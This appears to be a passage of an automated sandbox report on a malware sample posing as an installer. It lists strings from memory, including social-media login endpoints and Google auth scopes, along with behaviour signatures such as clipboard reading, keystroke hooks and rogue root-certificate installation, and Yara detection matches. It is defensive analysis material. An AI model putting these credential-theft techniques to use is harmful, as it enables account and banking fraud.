Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp, ecvAA35.tmp.11.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google-analytics.com/gtm/js?id=GTM-N7S69J3&cid=485847574.1601477586
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.277169134.0000000003DD7000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com
Source: 6852B33702F6B3BD.exe, 00000005.00000003.277888575.0000000003E12000.00000004.00000001.sdmp, ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/
Source: 6852B33702F6B3BD.exe, 00000005.00000003.278156648.0000000003DDE000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/.?
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/application/x-msdownloadC:
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/css/main.v2.min.css
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/css/main.v3.min.css
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/app-store-download.png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/chrome-logo.svg
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/chrome_safari-behavior.jpg
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/chrome_throbber_fast.gif
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/cursor-replay.cur
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/download-browser/big_pixel_phone.png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/download-browser/pixel_phone.png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/download-browser/pixel_tablet.png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/google-chrome-logo.jpg
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/google-logo-one-color.jpg
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-description-white-blue-bg.jpg
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-fb.jpg
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-file-download.jpg
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-help.jpg
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-twitter.jpg
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-youtube.jpg
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/favicons/favicon-16x16.png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/folder-applications.svg
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/google-play-download.png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/google-beta.png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/google-canary.png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/google-dev.png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/google-enterprise.png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/hero-anim-bottom-left.png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/hero-anim-middle.png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/hero-anim-top-right.png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/homepage_features.png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/homepage_privacy.png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/homepage_tools.png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/laptop_desktop.png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/icon-announcement.svg
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/icon-file-download.svg
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/mac-ico.png
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/images/thank-you/thankyou-animation.json
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/js/installer.min.js
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/static/js/main.v2.min.js
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=0
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.278094503.0000000003E07000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/cloudprint
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://www.google.com/cloudprint/enab
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.278094503.0000000003E07000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/cloudprint/enable_chrome_connector
Source: 6852B33702F6B3BD.exe, 00000005.00000003.278156648.0000000003DDE000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/cloudprint/enable_chrome_connectorHN
Source: 6852B33702F6B3BD.exe, 00000005.00000003.278156648.0000000003DDE000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/cloudprintS5)
Source: 6852B33702F6B3BD.exe, 00000004.00000003.324597044.0000000000792000.00000004.00000001.sdmp, Localwebdata1611946694399.4.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.277169134.0000000003DD7000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com;
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.googleadservices.com/pagead/conversion.js
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.googleadservices.com/pagead/conversion_async.js
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.googleadservices.com/pagead/p3p.xml
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.277169134.0000000003DD7000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://www.googleapis.com/auth/calend
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.278438029.0000000003E00000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/calendar.readonly
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.278438029.0000000003E00000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/cast-edu-messaging
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.278156648.0000000003DDE000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000003.277169134.0000000003DD7000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonly
Source: 6852B33702F6B3BD.exe, 00000005.00000003.277169134.0000000003DD7000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonlyourc
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.278438029.0000000003E00000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/clouddevices
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://www.googleapis.com/auth/h
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.277169134.0000000003DD7000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/hangouts
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://www.googleapis.com/auth/hangouts.readonly
Source: 6852B33702F6B3BD.exe, 00000005.00000003.278438029.0000000003E00000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/hangouts.readonly~
Source: 6852B33702F6B3BD.exe, 00000005.00000003.277169134.0000000003DD7000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/hangoutsdbox
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://www.googleapis.com/auth/meetings
Source: 6852B33702F6B3BD.exe, 00000005.00000003.277169134.0000000003DD7000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/meetings7
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://www.googleapis.com/auth/plus.peopleapi.readwri
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://www.googleapis.com/auth/plus.peopleapi.readwrite
Source: 6852B33702F6B3BD.exe, 00000005.00000003.277169134.0000000003DD7000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/plus.peopleapi.readwriteu
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.277169134.0000000003DD7000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/sierra
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.277169134.0000000003DD7000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/sierrasandbox
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.278438029.0000000003E00000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/userinfo.email
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=UA-26908291-4
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.googletagmanager.com/gtm.js?id=GTM-PZ6TRJB
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/autotrack/autotrack.js
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/lottie/lottie.js
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/modernizr/modernizr.js
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/scrollmagic/ScrollMagic.min.js
Source: ecvAA35.tmp.11.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/scrollmagic/animation.gsap.min.js
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000005.00000003.277169134.0000000003DD7000.00000004.00000001.sdmp	String found in binary or memory: https://www.gstatic.com;
Source: 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.instagram.com/
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.instagram.com/accept:
Source: 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.instagram.com/accounts/login/ajax/facebook/
Source: 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.instagram.com/graphql/query/?query_hash=149bef52a3b2af88c0fec37913fe1cbc&variables=%7B%2
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.instagram.com/sec-fetch-site:
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.instagram.comsec-fetch-mode:
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.messenger.com
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.messenger.com/
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.messenger.com/accept:
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.messenger.com/login/nonce/
Source: 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.messenger.com/origin:
Source: 6852B33702F6B3BD.exe, 00000004.00000002.386927349.000000000346C000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000005.00000002.293226984.00000000036AC000.00000004.00000001.sdmp	String found in binary or memory: https://www.messenger.comhttps://www.messenger.com/login/nonce/ookie:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Contains functionality for read data from the clipboard

Source: C:\Users\user\AppData\Roaming\1611946678493.exe

Code function: 11_2_0040AE4D OpenClipboard,

11_2_0040AE4D

Creates a DirectInput object (often for capturing keystrokes)

Source: ThunderFW.exe, 0000001D.00000002.368499973.0000000000DCA000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Registers a new ROOT certificate

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

Code function: 4_2_1001F720 CryptStringToBinaryA,CryptStringToBinaryA,CertCreateCertificateContext,CertOpenStore,CertAddCertificateContextToStore,GetLastError,CertGetCertificateContextProperty,_memset,CertGetCertificateContextProperty,_memset,_memset,_sprintf,_sprintf,CertCloseStore,CertFreeCertificateContext,

4_2_1001F720

System Summary:

Malicious sample detected (through community Yara rule)

Source: 4.2.6852B33702F6B3BD.exe.32a0000.6.unpack, type: UNPACKEDPE	Matched rule: APT34_PICKPOCKET Author: unknown
Source: 5.2.6852B33702F6B3BD.exe.34e0000.6.unpack, type: UNPACKEDPE	Matched rule: APT34_PICKPOCKET Author: unknown

PE file has a writeable .text section

Source: FileSetup-v17.04.41.exe	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 6852B33702F6B3BD.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Contains functionality to call native functions

Source: C:\Users\user\AppData\Roaming\1611946678493.exe	Code function: 11_2_0040C516 NtQuerySystemInformation,		11_2_0040C516
Source: C:\Users\user\AppData\Roaming\1611946678493.exe	Code function: 11_2_0040C6FB memset,CreateFileW,FindCloseChangeNotification,GetCurrentProcessId,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,NtQueryObject,CloseHandle,_wcsicmp,CloseHandle,FreeLibrary,		11_2_0040C6FB

Contains functionality to communicate with device drivers

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 1_2_004143EA: CreateFileW,DeviceIoControl,CloseHandle,

1_2_004143EA

Contains functionality to launch a process as a different user

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 1_2_0041B161 __EH_prolog,_memset,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessAsUserW,CloseHandle,CloseHandle,FreeLibrary,CloseHandle,

1_2_0041B161

Detected potential crypto function

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_00406012		1_2_00406012
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_004581C0		1_2_004581C0
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_00490370		1_2_00490370
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_0049C3FC		1_2_0049C3FC
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_0049A3A9		1_2_0049A3A9
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_0044E3A0		1_2_0044E3A0
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_004AA454		1_2_004AA454
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_004AE4BE		1_2_004AE4BE
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_004A855F		1_2_004A855F
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_0046251D		1_2_0046251D
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_004A05C3		1_2_004A05C3
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_0046E600		1_2_0046E600
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_00428690		1_2_00428690
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_0044E710		1_2_0044E710
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_004A2789		1_2_004A2789
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_0043A820		1_2_0043A820
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_0043E8C0		1_2_0043E8C0
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_00456880		1_2_00456880
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_00406919		1_2_00406919
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_00440A40		1_2_00440A40
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_004A8AA1		1_2_004A8AA1
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_0044EBB0		1_2_0044EBB0
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_0043EE50		1_2_0043EE50
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_00490F01		1_2_00490F01
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_004A8FE3		1_2_004A8FE3
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_0044B000		1_2_0044B000
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_00441000		1_2_00441000
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_00485090		1_2_00485090
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_00457200		1_2_00457200
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 1_2_0043F2D0		1_2_0043F2D0
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_1000C063		4_2_1000C063
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_1000B883		4_2_1000B883
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_100060F0		4_2_100060F0
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_100169BD		4_2_100169BD
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_100099E0		4_2_100099E0
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_100071F0		4_2_100071F0
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_10009257		4_2_10009257
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_10010AED		4_2_10010AED
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_10008340		4_2_10008340
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_1000E380		4_2_1000E380
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_1000ABA0		4_2_1000ABA0
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_1000B3B0		4_2_1000B3B0
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_1001EBD0		4_2_1001EBD0
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_100083F0		4_2_100083F0
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_1000BC57		4_2_1000BC57
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_1000C483		4_2_1000C483
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_10010590		4_2_10010590
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_1001EDDB		4_2_1001EDDB
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 4_2_1000FF71		4_2_1000FF71
Source: C:\Users\user\AppData\Roaming\1611946678493.exe	Code function: 11_2_00404BE4		11_2_00404BE4
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 29_2_00BFA0C3		29_2_00BFA0C3
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 29_2_00BF963B		29_2_00BF963B
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 29_2_00BF6A1E		29_2_00BF6A1E
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 29_2_00BFA7BB		29_2_00BFA7BB
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 29_2_00BFB51C		29_2_00BFB51C
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 29_2_00BF9B7F		29_2_00BF9B7F

Dropped file seen in connection with other malware

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe A8FEFE8E1F92A30D1CDD4E2E2AFAACF08A02C8961F496EE16E89062417EC5F28

Found potential string decryption / allocating functions

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: String function: 10010534 appears 35 times
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: String function: 00425DE0 appears 88 times
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: String function: 00499C6C appears 37 times
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: String function: 00494DF0 appears 202 times
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: String function: 00426A70 appears 102 times
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: String function: 004B3A3D appears 38 times
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: String function: 004B39D3 appears 74 times
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: String function: 00427D50 appears 40 times
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: String function: 0048EDF0 appears 40 times
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: String function: 004C3A1C appears 136 times

PE file contains strange resources

Source: FileSetup-v17.04.41.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 6852B33702F6B3BD.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 1611946678493.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 1611946678493.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Sample file is different than original file name gathered from version info

Source: FileSetup-v17.04.41.exe	Binary or memory string: OriginalFileName vs FileSetup-v17.04.41.exe
Source: FileSetup-v17.04.41.exe, 00000001.00000002.260636239.00000000004C6000.00000002.00020000.sdmp	Binary or memory string: incompatible versionbuffer errorinsufficient memorydata errorstream errorfile errorstream endneed dictionaryinvalid length/\VarFileInfo\Translation\StringFileInfo\%04X%04X\CompanyNameFileDescriptionFileVersionInternalNameLegalCopyrightOriginalFileNameProductNameProductVersionCommentsLegalTrademarksPrivateBuildSpecialBuildH vs FileSetup-v17.04.41.exe
Source: FileSetup-v17.04.41.exe, 00000001.00000000.221347616.0000000000512000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameKInstallTool.exeV vs FileSetup-v17.04.41.exe
Source: FileSetup-v17.04.41.exe, 00000001.00000002.261245694.0000000002340000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemswsock.dll.muij% vs FileSetup-v17.04.41.exe
Source: FileSetup-v17.04.41.exe, 00000001.00000002.261232452.0000000002330000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamenlsbres.dll.muij% vs FileSetup-v17.04.41.exe
Source: FileSetup-v17.04.41.exe, 00000001.00000002.261225734.0000000002320000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamenlsbres.dllj% vs FileSetup-v17.04.41.exe
Source: FileSetup-v17.04.41.exe	Binary or memory string: incompatible versionbuffer errorinsufficient memorydata errorstream errorfile errorstream endneed dictionaryinvalid length/\VarFileInfo\Translation\StringFileInfo\%04X%04X\CompanyNameFileDescriptionFileVersionInternalNameLegalCopyrightOriginalFileNameProductNameProductVersionCommentsLegalTrademarksPrivateBuildSpecialBuildH vs FileSetup-v17.04.41.exe
Source: FileSetup-v17.04.41.exe	Binary or memory string: OriginalFilenameKInstallTool.exeV vs FileSetup-v17.04.41.exe

Tries to load missing DLLs

Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll			Jump to behavior

Uses 32bit PE files

Source: FileSetup-v17.04.41.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Yara signature match

Source: 00000001.00000002.261933148.00000000028E0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000004.00000002.385937201.00000000027D0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000005.00000002.290296269.0000000002810000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 5.2.6852B33702F6B3BD.exe.2810000.5.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 4.2.6852B33702F6B3BD.exe.27d0000.5.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 4.2.6852B33702F6B3BD.exe.10000000.7.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 1.2.FileSetup-v17.04.41.exe.28e0000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
